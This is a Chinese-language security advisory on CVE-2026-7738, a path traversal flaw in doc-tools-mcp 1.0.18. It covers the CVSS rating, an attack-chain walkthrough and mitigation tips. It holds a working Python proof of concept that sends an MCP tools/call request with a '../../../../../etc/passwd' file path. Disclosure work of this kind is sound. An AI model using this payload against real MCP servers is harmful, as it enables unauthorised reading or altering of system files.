IPBUF安全漏洞报告
English
CVE-2026-7738 CVSS 6.3 中危

CVE-2026-7738: doc-tools-mcp路径遍历漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-7738
漏洞类型
路径遍历
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
puchunjie doc-tools-mcp

相关标签

路径遍历CVE-2026-7738doc-tools-mcp文件操作漏洞MCP

漏洞概述

puchunjie doc-tools-mcp 1.0.18版本存在安全漏洞,该漏洞位于MCP Interface组件的src/mcp-server.ts文件中。具体受影响的功能为create_document和open_document。由于程序对filePath参数缺乏充分的验证和过滤,攻击者可通过构造包含特殊字符的恶意参数实施路径遍历攻击。该漏洞可被远程利用,且已有公开的利用代码,目前厂商尚未发布修复补丁或做出响应。

技术细节

该漏洞的核心原因在于puchunjie/doc-tools-mcp项目在处理文件路径时未实施严格的安全检查。在src/mcp-server.ts文件的MCP Interface组件中,create_document和open_document函数直接使用了用户可控的filePath参数。攻击者可以利用“../”序列或绝对路径(如/etc/passwd)绕过预期的根目录限制。鉴于CVSS向量显示攻击复杂度低(AC:L)且无需用户交互(UI:N),远程攻击者仅需低权限(PR:L)即可向服务器发送恶意请求,成功利用该漏洞将导致系统敏感文件被读取或篡改,影响机密性、完整性和可用性。

攻击链分析

STEP 1
1. 信息收集
攻击者发现目标系统运行puchunjie doc-tools-mcp 1.0.18版本,并确认MCP服务接口可访问。
STEP 2
2. 构造Payload
攻击者构造包含路径遍历字符(如"../")的filePath参数,旨在访问系统根目录下的敏感文件(如/etc/passwd)。
STEP 3
3. 发送恶意请求
攻击者通过远程网络向受影响的服务端发送包含恶意filePath参数的create_document或open_document请求。
STEP 4
4. 漏洞利用
服务端未对路径进行校验,直接处理请求,导致攻击者成功读取或写入非预期目录下的文件,造成数据泄露或篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-7738: Path Traversal in doc-tools-mcp # Description: Exploits the create_document/open_document function to read arbitrary files via path traversal. import requests import json def exploit(target_url, traversal_path): """ Sends a malicious request to the vulnerable MCP server. """ # Construct the payload based on MCP JSON-RPC structure payload = { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "open_document", "arguments": { "filePath": traversal_path } }, "id": 1 } headers = { "Content-Type": "application/json" } try: print(f"[*] Sending payload to {target_url}...") print(f"[*] Attempting to read: {traversal_path}") response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=10) if response.status_code == 200: print("[+] Request successful. Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage: reading /etc/passwd on a Unix-like system target = "http://localhost:3000/mcp" # Replace with actual target malicious_path = "../../../../../etc/passwd" exploit(target, malicious_path)

影响范围

puchunjie/doc-tools-mcp 1.0.18

防御指南

临时缓解措施
在官方补丁发布前,建议在网络层面限制对MCP服务端口的访问,仅允许可信的内部IP连接。同时,部署入侵检测系统(IDS)监控包含路径遍历特征的异常流量。由于漏洞涉及文件操作,应严格审查服务器日志,检查是否已遭受攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表